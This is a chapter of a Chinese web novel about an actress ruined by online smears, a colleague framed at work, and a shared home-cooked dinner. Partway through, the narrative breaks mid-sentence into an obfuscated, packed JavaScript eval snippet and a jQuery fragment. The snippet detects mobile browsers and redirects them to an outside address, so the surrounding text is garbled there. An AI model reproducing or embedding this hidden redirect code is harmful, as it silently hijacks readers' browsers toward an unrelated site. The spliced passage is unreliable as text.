“姐姐，你是在嫌弃我话多了吗？”江暖玉似乎很受打击，连话语间都带着哭腔。


    “不是，没有，别多想。”秦箐一手精准捂嘴，一手轻柔擦泪，太阳穴突突的痛。


    有时真是佩服江暖玉作为演员的业务能力，平日里话密得没有缝隙也能做到字字清楚，或比如现在瞬间情绪爆发，什么一秒落泪，转身变脸，通通不在话下。


    话说回来，怎么好像没见过江暖玉的作品，是她一天十小时的上网太少了？


    想着，秦箐也就脱口而出：“你不用工作吗？”


    江暖玉呜呜哇哇拼命挣扎，秦箐讪讪一笑，松开桎梏的手。


    “我是全网黑啊，哪来的工作，姐姐你不知道？”


    秦箐懵住，她还真没了解过，上网一般就是去跟人干架的。


    她掏出手机想要查一下的，忽地手腕一紧，江暖玉上手牵住她的手腕，看起来着急又不安，问怎么了，不答，摇着头放开。


    虽没懂什么意思，秦箐还是拍拍江暖玉的脑袋，星星见了，不管不顾往她怀里钻，闹得她只能一边撑地稳住身形，单手搜索输入。


    刚打入江暖玉的名字，跳出来几个相关词。


    江暖玉小三


    江暖玉耍大牌


    江暖玉偷奖


    江暖玉塌房盘点


    江暖玉本色出演恶毒女配


    放眼望去，密密麻麻全是负面词条。秦箐接连个点进去，见证了一场盛大的狂欢。


    19岁因惊人的外貌被公司挖掘，作为平面模特出道，两年后饰演的女三爆火，人气日渐高涨，就连后来众星娱乐的大小姐露面，两人眉眼相似，都是大小姐被称作小暖玉。偏偏碰巧，两个人的定位都差不多，甲方常为选择人气还是后台发愁，但很快她们不需要纠结了。先是越来越密集的营销号爆出又假又虚的黑料，后来更有人拍到江暖玉与某个男人共进酒店的图片。


    舆论变了。


    在她事业最欣欣向荣的时期，铺天盖地的网暴袭来，对着她的言行举止挑刺指责，污蔑她拼搏多年获得的奖项是买通评委来的，臆想她被大腹便便的资本包养。


    后来精神恍惚，公司还逼着她继续工作，无奈之下只能咬着牙掏出全部积蓄解约，随后宣布退圈。但辱骂的帖子还在更新，最近一条显示着刚刚。


    “姐姐我没做过那些事，是她们虚构的。”


    秦箐的脸色愈发不善，江暖玉看着，心一点点沉下去。她会相信自己吗？或是和从前的朋友们一样，用蔑视的眼神看向她，不，不要，江暖玉猛地抓住秦箐的手。


    “不是我！姐姐，事实不是她们说的那样，节目组恶意剪辑的，我没有，还有那个男人，我不认识他，他那天在酒店门口莫名撞了我一下，就被拍了，我解释过，没有人信我，你信我好不好？”


    江暖玉说着，眼泪止不住的流，星星见主人哭，忙用自己的大脑袋去蹭，混乱一片，秦箐看着就头痛，但她没有随身带卫生纸的习惯，一时找不到趁手的工具，只好拽了点星星的狗毛拭去她脸颊上的泪水。


    光天化日、大庭广众之下，身旁蹲着个哭泣小人，秦箐真还挺难为情的，只好偏着头避免遇上路人，手胡乱抹在江暖玉脸上：“别哭了。”


    “哭有什么用？问题解决不了就自己收拾东西滚蛋！”


    顾舒敲门进去时险些被傅修远扔飞的文件板砸到，傅修远看了她一眼，重重呼出口气，移开视线，随意冲着她手下的男助理挥挥手，示意他出去。


    等门关上，傅修远做回椅子上，双手抱臂望向她，声音尽力平和：“转交给元一的数据出了问题，你负责统管，为什么没有查出来？”


    “对不起傅总，这件事是我的失职。”


    傅修远看着她这副软软糯糯的样子更是气不打一处来，他要的是解决方案，不是随便一句的道歉。他精心栽培，她为什么做不好，连这点事也要他来操心，如果陈琪还在国内哪会闹出这些问题来。但这是他的心上人，为此，只能忍下胸膛里燃烧的怒火。


    “你打算怎么解决？”他的声音充满疲倦。


    “市场部已经在加班重新统计数据，我刚给她们定了下午茶作为补偿。元一那边我下周一会上门去道歉。”顾舒低着头，小声转述琪姐给她的办法。


    傅修远听完，揉着太阳穴应下，这确实是最好的办法了，但他还是无法理解，数据加没加权这么基础的问题顾舒怎么就看不出来，还是极核心的关键数据，这一错，前面一周的准备直接白费，项目多推一天，就是一天的高昂成本。


    这次，她真的叫他失望了，项目重大，他不能再放一个能力不够的人在位置上。


    “你道完歉之后就回到原岗位去吧，剩下的让罗秘接手，看你最近都没休息好，我会让人事放你几天假。”


    顾舒猛地抬起头，原来是这样。


    从安排手下助理故意隐瞒跑文件的截止时间，拖到琪姐出差联系不上，任务紧急，她只能询问其他人，但就她现在在公司的风评，剩下的也或多或少因为站队不同，就不可能有人搭理她。


    然后罗秘本人再作为救世主出现，说上一番感人肺腑的体谅煽情话，而且那份模板文件做的高明，以她的水平根本看不出来问题，甚至数据她也一一对过，偏偏，问题就在于数据填写有固定的格式，这基本是行业黑话，平时大家默认就自动忽略了，只是她不知道。


    要不是刚刚求助琪姐时要求看原文件，她估计锅背完了才知道败在哪里。这根本就是个死局，从那人动心思开始，负责人的位置她就不可能继续坐下去。


    算准了她学艺不精，卡准了琪姐不在的时机，利用了办公室心照不宣的孤立，而且除了她，没有人会因此对罗秘产生怀疑，甚至可能觉得她不识好人心。


    而当那个男助理哭着来求她时，她还是信了他没有恶意，也知道实习生的艰难，所以帮忙瞒了下来，独自一人想办法赶文件。


    如果当时她直接举报实习生，把事情一同闹大，是不是就不会发展成这样了？


    有点好笑，连她的心软都被算计到了。


    心里突然涌起股冲动，想不管一切的大吼大叫，她不是天才，不是完美的机器，做不到随意放在一个位置就能胜任，更何况没有人配合工作，她每天都在巨大的压力里，无时无刻迫切希望自己一下子就成长出来，可她也需要时间学习，需要过程磨练。


    她做的不够好吗？


    为什么要对她下套？


    好想将多日的恶意压抑诉说出来。


    好想把心里的怀疑猜忌全部吼叫出来。


    可对上傅修远眸子里的失望，顾舒突然哑声。


    不要说，他不会信。


    “我相信你。”秦箐被磨的无奈，按住江暖玉不停摇晃的爪状海盗船。


    “保真吗？”


    “真，女人不骗女人。”秦箐说完，用力把人从身上扒拉下来，刚想息手机屏，忽地收到傅修远和顾舒双双加班不回家的信息。


    她看了眼江暖玉，有的人没工作，有工作的又天天加班，平等地不放过任何一个。


    “回家，我给你做饭。”


    “好啊！去我家，我昨天刚买了食材。”江暖玉眼睛一亮，她早就想吃了，每次闻着星星的肉罐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127111|196131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头都觉得香的不得了，恨不得抢过来，但鉴于秦箐在场，她没胆子。


    人瞬间不伤心了，三两下把遛狗带下来的东西收拾好，眨巴着眼看向秦箐。


    “当当当！”江暖玉张着手臂在玄关转了个圈，眼神里满满都是“快夸我”的暗示。


    “好漂亮。”


    秦箐冲过去，一把抱起出来迎接主人的布偶猫。


    “它叫月亮，是超级高冷的妹妹。”江暖玉撇撇嘴，带上门，低身给星星解开狗绳，拍了下它圆滚滚的屁股：“自己玩去吧。”


    “你出门时它两就自己呆在家？”


    “没办法，我不能常住在这，只好拜托家在附近的同学每天上门看看，她也忙，很久才能带星星出去活动。”江暖玉将狗绳收进玄关屉子里：“不过很快我应当就能彻底搬过来了。”


    说这话时，江暖玉脸上明显流露出落寞的神情。


    “想吃什么？”月亮嗖的一声逃出秦箐的怀抱。


    “油闷大虾！”


    江暖玉跳起来，拉着人窜到冰箱面前，摇着手给人展示自己精心装饰的成品。


    这一看，秦箐有些沉默：“你，是转行在pdd上卖冰箱贴了吗？”


    “没有呀，你听谁说的，那人纯造谣，我分明是......哎呀，我只是喜欢收藏这些，姐姐你有喜欢的吗，我送你几个吧！”江暖玉指着她双开门的冰箱，一个个介绍图案类、来源，唯独跳过了正中央的几个十二生肖的冰箱贴。


    “这一套是不是缺了，鼠牛虎兔......”


    还没等秦箐数完，江暖玉突然挡住冰箱，打断道：“这个系列不行，其他全随你选。”


    “我不要。”


    “为什么？不喜欢吗，但这些真不可以，或者我重新买套新的？”


    秦箐神秘地摇摇指头：“我家冰箱是公的，用不上。”


    “冰箱也有性别吗？”


    “我那冰箱非磁性嘛。”


    江暖玉抖肩，好冷的烂梗。


    “冷就去微波炉热一热。”秦箐把冰箱打开，像是走入了一片草地：“你属羊的？”


    “好厉害，一下子就猜中了！姐姐是会算玄学吗？”


    秦箐拍开她凑过来的脑袋，指挥道：“把虾拿出来，然后人出去。”


    经过顾舒那一遭，秦箐再也不会相信任何人说“我会做饭，我来帮忙吧。”好不容易将人赶出去，她却不敢回头。


    为什么是开放厨房啊！


    背后那道视线死盯着她：“姐姐，我没骗你，傅，付我工资的雇主超满意我厨艺的，他有胃病，平时饮食都是我一手包办的。”


    看她似乎打算从第一次给老板做饭讲起，秦箐回头瞪了一眼：“房间呆着去，影响到我挥铲的速度了。”


    江暖玉“哦”了声，不情不愿磨蹭回卧室，临着合上门又问了遍，自然是被狠狠拒绝。


    门锁关上的瞬间，电话铃声陡然响起，江暖玉摸出手机，看着来电人的昵称，习惯对面不耐烦挂掉，反正每回也只用等十几秒。


    刚开始她还以为是自己的问题才接不到电话，甚至会内耗反省。


    她做了许多改变，把铃声调最大，避免错过他的电话，同时手机放在最方便的位置，确保自己能第一时间按到接听键，而现在，她的手机通常保持静音状态。


    江暖玉默默调小音量，无声等待，但这一次，那边的人似乎格外执着，一直等到六十秒无人接听的自然挂断。还没来得及松口气，第二个电话接着打来。


    不能再拖了，江暖玉深呼吸，视死如归地点下接听。


    “喂。”